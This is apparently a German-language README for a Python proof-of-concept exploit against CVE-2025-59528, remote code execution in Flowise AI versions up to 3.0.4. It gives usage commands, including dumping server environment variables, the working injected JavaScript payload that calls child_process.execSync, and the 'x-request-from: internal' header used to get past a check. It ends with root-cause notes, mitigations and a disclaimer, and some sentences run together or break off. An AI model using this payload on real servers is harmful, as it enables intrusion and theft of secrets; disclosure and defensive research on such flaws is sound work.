
Python-PoC-Exploit für CVE-2025-59528, das authentifizierte RCE auf Flowise AI <= 3.0.4 über den customMCP-Endpunkt und Node.js child_process.execSync erreicht.
CVE-ID: CVE-2025-59528
Betroffene Software: Flowise AI
Verwundbare Versionen: <= 3.0.4
Behobene Version: 3.0.5 und später
Schweregrad: Kritisch
Autor: arensballiu
Datum: 2025
Flowise AI-Versionen bis einschließlich 3.0.4 ermöglichen es einem authentifizierten Benutzer, Remote-Code-Ausführung (RCE) auf dem Host-Server zu erreichen, indem eine manipulierte JavaScript-Nutzlast an den Endpunkt /api/v1/node-load-method/customMCP gesendet wird.
Die Lade-Methode des customMCP-Knotens akzeptiert benutzergesteuerte Eingaben, die serverseitig als JavaScript ausgewertet werden, ohne ausreichende Bereinigung oder Sandboxing. Durch die Injektion einer Nutzlast, die Node.js' child_process.execSync ausnutzt, kann ein Angreifer beliebige Betriebssystembefehle mit den Rechten des Flowise-Serverprozesses ausführen.
Der Endpunkt erfordert außerdem das Vorhandensein des Headers .
x-request-from: internal| Endpunkt | Methode | Authentifizierung erforderlich | Zweck |
|---|---|---|---|
/api/v1/auth/login | POST | Nein | Authentifizieren und Sitzung erhalten |
/api/v1/node-load-method/customMCP | POST | Ja (Session-Cookie) | Verwundbarer Knoten-Lade-Methoden-Endpunkt |
Datei: CVE-2025-59528_POC.py
requests-Bibliothekpip install requests
python3 CVE-2025-59528_POC.py -e <email> -i <target_url> -p <password> -c <command>
| Flag | Langform | Erforderlich | Beschreibung |
|---|---|---|---|
-e | --email | Ja | E-Mail-Adresse des authentifizierten Benutzers |
-i | --url | Ja | Basis-URL der Flowise-Instanz |
-p | --password | Ja | Passwort des authentifizierten Benutzers |
-c | --cmd | Ja | Auf dem Server auszuführender Betriebssystembefehl |
Code-Ausführung überprüfen:
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "id"
Server-Umgebungsvariablen abrufen:
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "env"
[+] Logged in
[+] Exploit sent
[+] Status: 200
Der Exploit injiziert den folgenden JavaScript-Ausdruck in das Feld mcpServerConfig:
({x:(function(){
const cp = process.mainModule.require('child_process');
cp.execSync('<command>');
return 1;
})()})
process.mainModule.require('child_process') — lädt das integrierte Prozessausführungsmodul von Node.js.execSync('<command>') — führt den vom Angreifer bereitgestellten Betriebssystembefehl synchron aus.Der Header x-request-from: internal wird ebenfalls an die Anfrage angehängt, um eine interne Ursprungsprüfung zu bestehen, die den Aufruf andernfalls blockieren würde.
Der customMCP-Endpunkt übergibt benutzergesteuerte Eingaben direkt in einen JavaScript-Auswertungskontext auf dem Server, ohne Bereinigung oder Sandboxing. In Kombination mit uneingeschränktem Zugriff auf Node.js-Kernmodule (insbesondere child_process) über process.mainModule.require entsteht ein trivial ausnutzbarer RCE-Vektor. Die x-request-from-Header-Prüfung bietet keine sinnvolle Sicherheitsgrenze, da sie nicht gegen eine vertrauenswürdige Quelle validiert wird.
Diese beiden Schwachstellen können für einen unauthentifizierten RCE-Angriffspfad gegen Flowise-Instanzen mit den Versionen <= 3.0.4 verkettet werden:
child_process, fs usw.) durch eine ordnungsgemäße Sandbox (z. B. vm2, isolierte Kontexte oder Entfernen des process.mainModule-Zugriffs).x-request-from-Header durch einen serverseitigen Mechanismus anstelle einer einfachen Zeichenkettenprüfung.Dieser Proof of Concept wird ausschließlich für Bildungszwecke und autorisierte Sicherheitsforschung bereitgestellt. Die Verwendung dieses Skripts gegen Systeme ohne ausdrückliche schriftliche Genehmigung ist illegal und unethisch. Der Autor und die Mitwirkenden übernehmen keine Haftung für Missbrauch.